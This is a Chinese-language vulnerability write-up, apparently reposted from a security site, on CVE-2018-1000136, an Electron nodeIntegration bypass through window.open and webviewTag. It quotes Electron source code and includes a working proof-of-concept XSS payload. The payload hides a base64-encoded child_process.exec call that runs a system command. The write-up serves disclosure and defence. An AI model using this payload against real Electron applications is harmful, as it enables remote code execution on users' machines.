CVE-2018-1000136:Electron nodeIntegration绕过漏洞

简介:

1周前,研究人员发现一个影响Electron所有版本的漏洞,利用该漏洞可以开启nodeIntegration,这可能会造成远程代码执行。Electron是一个使用JavaScript,HTML和CSS等Web技术创建原生程序的框架,它负责比较难搞的部分,而用户只需把精力放在应用的核心上即可。Slack、Discord、Signal、Atom、Visual Studio Code、Github桌面版等很多的应用都是用了Electron框架。

Electron是web应用,也就是说如果没有正确对用户输入进行处理的话就可能会受到XSS脚本攻击。默认的Electron应用不仅可以包含对自己API的访问,还包含对所有Node.js植入模块的访问。这会让XSS攻击的危险变大,因为攻击者的payload可以做很多的坏事,比如在客户端执行系统命令等。Atom前不久就被曝类似的XSS漏洞。用户可以将nodeIntegration: false传入应用webPreferences中,来移除对Node.js的访问。

还有一个webview的tag特征可以将内容嵌入到Electron应用中,并以独立的进程运行。当使用webview tag时,你可以传递一些属性值,其中就包括nodeIntegration。WebView容器默认是不开启nodeIntegration的。文档描述了如果webviewTag选项没有在webPreferences中明确说明,就会继承nodeIntegration的设定值的权限。

默认情况下,Electron会使用传统的window.open()函数来创建一个BrowserWindow的新实例。子窗口默认会继承父窗口的所有选项。传统的window.open()函数允许用户通过在featuresargument中传递一些值来修改继承的选项的值:

if (!usesNativeWindowOpen) {
 // Make the browser window or guest view emit "new-window" event.
 window.open = function (url, frameName, features) {
 if (url != null && url !== '') {
 url = resolveURL(url)
 }
 const guestId = ipcRenderer.sendSync('ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPEN', url, toString(frameName), toString(features))
 if (guestId != null) {
 return getOrCreateProxy(ipcRenderer, guestId)
 } else {
 return null
 }
 }
 if (openerId != null) {
 window.opener = getOrCreateProxy(ipcRenderer, openerId)
 }
}

当Electron的window.open函数被调用,就会触发一个ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPEN事件。该事件处理器会将这些特征进行语法分析,并把这些特征加入到新创建的窗口的选项中,然后触发ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPEN事件。为了防止子窗口做坏事,guest-window-manager.js含有一个webPreferences选项的硬编码的列表和限定值:

// Security options that child windows will always inherit from parent windows
 const inheritedWebPreferences = new Map([
 ['contextIsolation', true],
 ['javascript', false],
 ['nativeWindowOpen', true],
 ['nodeIntegration', false],
 ['sandbox', true],
 ['webviewTag', false]
 ]);

ELECTRON_GUEST_WINDOW_MANAGER_INTERNAL_WINDOW_OPEN事件处理器调用mergeBrowserWindowOptions函数来确保父窗口webPreferences的限制属性应用到子窗口:

 const mergeBrowserWindowOptions = function (embedder, options) {
 [...]
 // Inherit certain option values from parent window
 for (const [name, value] of inheritedWebPreferences) {
 if (embedder.getWebPreferences()[name] === value) {
 options.webPreferences[name] = value
 }
 }
 // Sets correct openerId here to give correct options to 'new-window' event handler
 options.webPreferences.openerId = embedder.id
 return options
 }

这就是该漏洞的核心。mergeBrowserWindowOptions函数并不会考虑到这些限制属性的默认值是否定义过。或者说,如果webviewTag: false没有在应用的webPreferences中明确定义,当mergeBrowserWindowOptions函数检查webview Tag时,就会返回undefined,让上面的if判断返回错误,就不会应用父窗口的webviewTag preference。这会让window.open以额外特征的方式传递webview Tag选项,重新开启nodeIntegration,并最终导致潜在的远程代码执行。

POC

下面的POC说明了XSS payload如何在运行时重新开启nodeIntegration,并执行系统命令:

<script>
 var x = window.open('data://yoloswag','','webviewTag=yes,show=no');
 x.eval(
 "var webview = new WebView;"+
 "webview.setAttribute('webpreferences', 'webSecurity=no, nodeIntegration=yes');"+
 "webview.src = `data:text/html;base64,PHNjcmlwdD5yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnbHMgLWxhJywgZnVuY3Rpb24gKGUscikgeyBhbGVydChyKTt9KTs8L3NjcmlwdD4=`;"+
 "document.body.appendChild(webview)"
 );
 </script>

poc执行的条件为:

· Electron应用的nodeIntegration是关闭的;

· 含有没有适当处理用户输入的XSS漏洞或其他依赖该应用的漏洞;

· Electron 版本< 1.7.13, < 1.8.4, 或 < 2.0.0-beta.3;

· 没有在webPreferences中声明webviewTag: false;

· 或没有在webPreferences中开启nativeWindowOption选项;

· 或没有用选项tag来拦截新窗口时间或覆写 event.newGuest。

如果以上条件满足,那么POC就可以在有漏洞的Electron版本上远程代码执行。


原文发布时间为:2018-05-18

本文来自云栖社区合作伙伴“嘶吼网”,了解相关信息可以关注“嘶吼网”。

相关文章
|
11月前
|
Web App开发 安全 Python
Chrome RCE 漏洞复现
Google Chrome是由Google开发的免费网页浏览器,大量采用Chrome内核的浏览器同样也会受此漏洞影响。攻击者利用此漏洞,可以构造一个恶意的web页面,当用户访问该页面时,会造成远程代码执行。 由于Chrome浏览器会默认开启沙盒,可以拦截利用该漏洞发起的攻击,所以一般用户不会受到影响。
564 10
Chrome RCE 漏洞复现
|
存储 算法 索引
|
9月前
|
数据安全/隐私保护
基于simulink的PEM燃料电池控制系统建模与仿真,对比PID,积分分离以及滑模控制器
本课题基于Simulink对PEM燃料电池控制系统进行建模与仿真,对比了PID、积分分离及滑模控制器的性能。系统使用MATLAB 2022a版本,仿真结果无水印输出。PEM燃料电池作为一种高效能量转换装置,其控制系统的优化设计至关重要。PID控制器通过比例、积分、微分作用处理静态误差和动态响应;滑模控制则以其快速响应和强鲁棒性在非线性系统中表现出优势;积分分离PID能有效避免积分饱和。实际应用中需结合多种控制策略,以提升系统性能和效率。
|
8月前
|
算法 数据安全/隐私保护
VSG虚拟同步发电机simulink建模与仿真
### VSG虚拟同步发电机Simulink建模与仿真简介 虚拟同步发电机(VSG)技术是电力电子领域的重要创新,尤其在可再生能源接入电网方面展现出巨大潜力。VSG通过先进的控制策略,使逆变器控制的电源系统(如光伏、风能)表现出与传统同步发电机类似的动态行为,提高电力系统的稳定性和兼容性。本课题基于MATLAB2022a进行VSG的Simulink建模与仿真,核心内容包括电流控制、电压控制、频率控制及虚拟惯量与阻尼控制。系统仿真结果展示了VSG的有效性,并验证了其在实际应用中的潜力。
|
前端开发 Java Spring
SpringBoot项目thymeleaf页面支持词条国际化切换
SpringBoot项目thymeleaf页面支持词条国际化切换
271 2
|
人工智能 监控 安全
安全和鲁棒性
安全和鲁棒性
316 0
fastadmin实现导出Excel和导入Excel数据
fastadmin实现导出Excel和导入Excel数据
1046 0
|
存储 算法 数据处理
C++一分钟之-范围基础:views与ranges
【7月更文挑战第1天】C++20的Ranges库简化了集合操作,引入了Range(具有begin()和end()的对象)和View(延迟计算的Range)。常见问题包括混淆Range与Container、忽视View的延迟性和错误修改只读View。要避免错误,需理解Range概念、明确操作执行时机并检查View的可变性。代码示例展示了如何过滤并平方vector中的奇数,体现Range的使用。范围库带来了代码的简洁和效率,但理解其工作原理至关重要。
347 0
|
安全 Unix Linux
好工具推荐系列:开源的杀毒软件
好工具推荐系列:开源的杀毒软件
2226 0
[算法刷题题解笔记] 洛谷 P1007 独木桥 [贪心]
[算法刷题题解笔记] 洛谷 P1007 独木桥 [贪心]